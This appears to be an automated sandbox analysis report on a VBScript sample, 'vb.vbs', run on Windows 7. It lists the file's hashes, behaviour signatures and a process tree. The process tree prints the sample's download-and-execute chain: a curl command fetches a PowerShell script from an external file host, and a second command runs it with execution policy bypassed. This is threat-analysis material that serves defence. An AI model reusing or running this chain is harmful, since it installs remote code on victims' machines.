Analysis

  • max time kernel
    40s
  • max time network
    29s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    16/01/2023, 07:46

General

  • Target

    vb.vbs

  • Size

    1024KB

  • MD5

    ea33785b5feaade952b2768dc1b74d6d

  • SHA1

    2611ef2ca512873963550e03e8da3761a3f827da

  • SHA256

    664e3869703282407878479b644155607546c786f69cac5718055005c34b8c82

  • SHA512

    63745e2ee17ab5cca44eb46c5e7faecc7d2e38831d87c61262d9f4fb8d55d3891d1d9f49443dc07825273c5ca973ab3f6e964b1dae2191fd0cd306cf8a7fae35

  • SSDEEP

    12:O+h3awpefnYj5H6NPnqkc+h3awpeZ9nF6NPnJ:O+9xYM5wqh+9xYZly

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vb.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2004
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://files.catbox.moe/nvz0g1.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1424
      • C:\Windows\system32\cmd.exe
        cmd.exe /c curl https://files.catbox.moe/nvz0g1.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
        3⤵
          PID:580
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1876
        • C:\Windows\system32\cmd.exe
          cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1616
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1780

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1780-61-0x000007FEF3220000-0x000007FEF3C43000-memory.dmp

      Filesize

      10.1MB

    • memory/1780-62-0x0000000002824000-0x0000000002827000-memory.dmp

      Filesize

      12KB

    • memory/1780-63-0x000007FEF2600000-0x000007FEF315D000-memory.dmp

      Filesize

      11.4MB

    • memory/1780-64-0x000000000282B000-0x000000000284A000-memory.dmp

      Filesize

      124KB

    • memory/1780-65-0x0000000002824000-0x0000000002827000-memory.dmp

      Filesize

      12KB

    • memory/1780-66-0x000000000282B000-0x000000000284A000-memory.dmp

      Filesize

      124KB

    • memory/2004-54-0x000007FEFB5B1000-0x000007FEFB5B3000-memory.dmp

      Filesize

      8KB